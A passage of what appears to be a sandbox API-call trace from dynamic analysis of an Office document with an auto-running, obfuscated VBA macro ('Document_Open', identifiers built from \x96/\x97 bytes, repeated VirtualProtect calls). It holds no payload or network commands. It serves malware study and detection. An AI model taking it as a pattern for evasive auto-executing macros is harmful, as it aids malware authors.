0xffffffff [0084.811] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0084.811] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.811] GetCurrentProcess () returned 0xffffffff [0084.811] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0084.811] GetCurrentProcess () returned 0xffffffff [0084.811] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0084.811] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.811] GetCurrentProcess () returned 0xffffffff [0084.811] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0084.811] GetCurrentProcess () returned 0xffffffff [0084.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0084.812] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.812] GetCurrentProcess () returned 0xffffffff [0084.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0084.812] GetCurrentProcess () returned 0xffffffff [0084.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0084.812] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.812] GetCurrentProcess () returned 0xffffffff [0084.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0084.812] GetCurrentProcess () returned 0xffffffff [0084.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0084.813] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.813] GetCurrentProcess () returned 0xffffffff [0084.813] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0084.813] GetCurrentProcess () returned 0xffffffff [0084.813] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0084.813] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.813] GetCurrentProcess () returned 0xffffffff [0084.813] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0084.813] GetCurrentProcess () returned 0xffffffff [0084.813] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0084.813] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.814] GetCurrentProcess () returned 0xffffffff [0084.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0084.814] GetCurrentProcess () returned 0xffffffff [0084.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0084.814] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.814] GetCurrentProcess () returned 0xffffffff [0084.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0084.814] GetCurrentProcess () returned 0xffffffff [0084.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0084.814] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.815] GetCurrentProcess () returned 0xffffffff [0084.815] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0084.816] GetAsyncKeyState (vKey=3) returned 0 [0084.816] VarCmp (pvarLeft=0x197a1c, pvarRight=0x197a0c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0084.816] VarCmp (pvarLeft=0x197a1c, pvarRight=0x197a0c, lcid=0x0, dwFlags=0x30001) returned 0x1 [0084.817] GetAsyncKeyState (vKey=3) returned 0 [0084.818] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x197c5c | out: ppsaOut=0x197c5c) returned 0x0 [0084.818] SafeArrayAllocData (psa=0xc8f45f0) returned 0x0 [0084.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BuiltInDocumentProperties", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0084.821] CRetailMalloc_Alloc () returned 0xc788050 [0084.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BuiltInDocumentProperties", cchWideChar=-1, lpMultiByteStr=0xc788050, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BuiltInDocumentProperties", lpUsedDefaultChar=0x0) returned 26 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x97\x97\x96\x97\x97\x96\x96\x96\x97\x96\x96\x97\x97\x96\x97\x97\x96\x96\x96\x96\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96\x96\x97\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x96\x97\x97\x96\x97\x96\x97\x96\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x97\x96\x97\x96\x96\x97\x96\x97\x97\x96\x96\x96\x97\x96\x96\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x96\x97\x97\x97\x96\x97\x96\x96\x97\x97\x96\x97\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x97\x97\x97\x97\x96\x97\x97\x96\x97\x97\x97\x97\x96\x97\x96\x96\x96\x96\x96\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="Document_Open", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 3 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x97\x96\x96\x96\x96\x96\x97\x97\x96\x97\x96\x96\x96\x97\x96\x96\x97\x97\x96\x97\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x97\x96\x96\x97\x96\x96\x96\x96\x97\x96\x97\x96\x96\x97\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x97\x96\x96\x96\x97\x96\x97\x96\x97\x97\x97\x97\x97\x97\x97\x97\x97\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x97\x97\x96\x97\x97\x96\x96\x96\x96\x96\x97\x97\x97\x97\x97\x96\x96\x96\x97\x96\x96\x97\x96\x97\x96\x96\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96\x97\x97\x96\x97\x96\x96\x96\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.821] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="laMT7W1FQ9", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 3 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x96\x97\x97\x96\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x96\x97\x97\x96\x96\x96\x97\x96\x96\x97\x96\x97\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x96\x96\x97\x96\x97\x96\x97\x96\x96\x96\x96\x97\x96\x96\x96\x96\x97\x97\x96\x96\x97\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x96\x97\x97\x96\x97\x96\x96\x96\x97\x97\x96\x97\x97\x96\x97\x96\x96\x96\x96\x97\x96\x97\x97\x97\x96\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x97\x96\x97\x96\x96\x97\x96\x97\x97\x97\x97\x97\x96\x96\x97\x96\x96\x97\x97\x97\x96\x97\x97\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x97\x97\x97\x97\x97\x96\x96\x96\x97\x97\x97\x97\x96\x96\x96\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x97\x96\x97\x97\x97\x97\x96\x96\x97\x96\x97\x97\x96\x97\x97\x96\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x96\x96\x97\x96\x97\x96\x96\x96\x96\x97\x96\x96\x97\x97\x96\x97\x97\x96\x96\x97\x97\x97\x96\x96\x97\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x97\x97\x96\x97\x97\x97\x97\x96\x97\x96\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x96\x97\x96\x97\x96\x97\x97\x97\x96\x96\x96\x96\x97\x97\x96\x96\x96\x97\x97\x96\x97\x96\x96\x97\x97\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96\x97\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x97\x97\x97\x96\x96\x96\x97\x97\x97\x96\x97\x96\x97\x96\x96\x96\x96\x96\x96\x97\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x96\x97\x97\x97\x96\x96\x96\x97\x96\x96\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x97\x96\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x96\x97\x97\x97\x97\x97\x97\x96\x96\x96\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x96\x97\x96\x96\x97\x96\x96\x97\x97\x97\x97\x96\x96\x96\x97\x96\x96\x96\x96\x96\x97\x97\x97\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x97\x97\x97\x96\x96\x96\x97\x96\x96\x96\x96\x97\x96\x97\x97\x97\x96\x96\x96\x97\x97\x97\x96\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0084.822] CRetailMalloc_Free () returned 0x1 [0084.822] longjmp () [0084.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BuiltInDocumentProperties", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0084.822] CRetailMalloc_Alloc () returned 0xc787f10 [0084.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BuiltInDocumentProperties", cchWideChar=-1, lpMultiByteStr=0xc787f10, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BuiltInDocumentProperties", lpUsedDefaultChar=0x0) returned 26 [0084.822] CRetailMalloc_Free () returned 0x1 [0084.822] longjmp () [0085.038] SafeArrayDestroyData (psa=0xc8f45f0) returned 0x0 [0085.038] SafeArrayDestroyDescriptor (psa=0xc8f45f0) returned 0x0 [0085.038] GetAsyncKeyState (vKey=3) returned 0 [0085.155] CRetailMalloc_Alloc () returned 0xcad9c30 [0085.155] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.155] memcpy (in: _Dst=0xfa55040, _Src=0x1978c4, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0085.155] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.155] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.155] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x97\x97\x96\x97\x96\x96\x96\x97\x97", cchCount1=-1, lpString2="\x96\x96\x96\x97\x96\x97\x96\x97\x96\x96\x96", cchCount2=-1) returned 3 [0085.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2e1e, cbMultiByte=12, lpWideCharStr=0x1976c4, cchWideChar=13 | out: lpWideCharStr="–––—–—–—–––") returned 12 [0085.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112801c6, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–––—–—–—–––") returned 12 [0085.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112801c6, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–––—–—–—–––") returned 12 [0085.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112801c6, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–––—–—–—–––") returned 12 [0085.156] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x97\x97\x96\x97\x96\x96\x96\x97\x97", cchCount1=-1, lpString2="\x96\x96\x96\x97\x96\x97\x96\x97\x96\x96\x96", cchCount2=-1) returned 3 [0085.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112801c6, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–––—–—–—–––") returned 12 [0085.156] CRetailMalloc_Alloc () returned 0xc877fd0 [0085.156] _mbscpy_s (in: _Dst=0xc877fd0, _DstSizeInBytes=0xc, _Src=0x112801c6 | out: _Dst=0xc877fd0) returned 0x0 [0085.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280b52, cbMultiByte=19, lpWideCharStr=0x197734, cchWideChar=20 | out: lpWideCharStr="_B_var_–––—–—–—–––") returned 19 [0085.156] _mbscpy_s (in: _Dst=0x19779c, _DstSizeInBytes=0xc, _Src=0x112801c6 | out: _Dst=0x19779c) returned 0x0 [0085.157] CRetailMalloc_Free () returned 0x1 [0085.157] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0085.157] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.157] memcpy (in: _Dst=0xfa54f3c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.157] memcpy (in: _Dst=0xfa54f38, _Src=0x197714, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.157] memcpy (in: _Dst=0xfa54f38, _Src=0x197714, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.157] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.157] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.157] memcpy (in: _Dst=0xcad9ca8, _Src=0x197944, _Size=0x18 | out: _Dst=0xcad9ca8) returned 0xcad9ca8 [0085.157] CRetailMalloc_Realloc () returned 0xcad9c30 [0085.157] CRetailMalloc_Free () returned 0x1 [0085.157] GetCurrentProcess () returned 0xffffffff [0085.157] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.157] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.158] GetCurrentProcess () returned 0xffffffff [0085.158] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.158] GetCurrentProcess () returned 0xffffffff [0085.158] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.158] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.159] GetCurrentProcess () returned 0xffffffff [0085.159] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.159] GetCurrentProcess () returned 0xffffffff [0085.159] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.159] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.159] GetCurrentProcess () returned 0xffffffff [0085.159] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.159] GetCurrentProcess () returned 0xffffffff [0085.159] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.159] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.160] GetCurrentProcess () returned 0xffffffff [0085.160] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.160] GetCurrentProcess () returned 0xffffffff [0085.160] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.160] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.160] GetCurrentProcess () returned 0xffffffff [0085.160] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.160] GetCurrentProcess () returned 0xffffffff [0085.160] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.160] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.161] GetCurrentProcess () returned 0xffffffff [0085.161] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.161] GetCurrentProcess () returned 0xffffffff [0085.161] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.161] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.161] GetCurrentProcess () returned 0xffffffff [0085.161] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.161] GetCurrentProcess () returned 0xffffffff [0085.161] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.161] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.162] GetCurrentProcess () returned 0xffffffff [0085.162] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.162] GetCurrentProcess () returned 0xffffffff [0085.162] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.162] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.162] GetCurrentProcess () returned 0xffffffff [0085.162] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.162] GetCurrentProcess () returned 0xffffffff [0085.162] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.162] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.163] GetCurrentProcess () returned 0xffffffff [0085.163] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.163] GetCurrentProcess () returned 0xffffffff [0085.163] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.163] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.163] GetCurrentProcess () returned 0xffffffff [0085.163] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.163] GetCurrentProcess () returned 0xffffffff [0085.163] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.163] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.164] GetCurrentProcess () returned 0xffffffff [0085.164] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.164] GetCurrentProcess () returned 0xffffffff [0085.164] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.164] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.164] GetCurrentProcess () returned 0xffffffff [0085.164] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.164] GetCurrentProcess () returned 0xffffffff [0085.164] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.164] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.165] GetCurrentProcess () returned 0xffffffff [0085.166] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.166] GetCurrentProcess () returned 0xffffffff [0085.166] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.166] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.166] GetCurrentProcess () returned 0xffffffff [0085.166] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.166] GetCurrentProcess () returned 0xffffffff [0085.166] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.166] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.167] GetCurrentProcess () returned 0xffffffff [0085.167] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.167] GetCurrentProcess () returned 0xffffffff [0085.167] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.167] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.167] GetCurrentProcess () returned 0xffffffff [0085.167] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.167] GetCurrentProcess () returned 0xffffffff [0085.167] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.167] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.168] GetCurrentProcess () returned 0xffffffff [0085.168] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.168] GetCurrentProcess () returned 0xffffffff [0085.168] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.168] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) 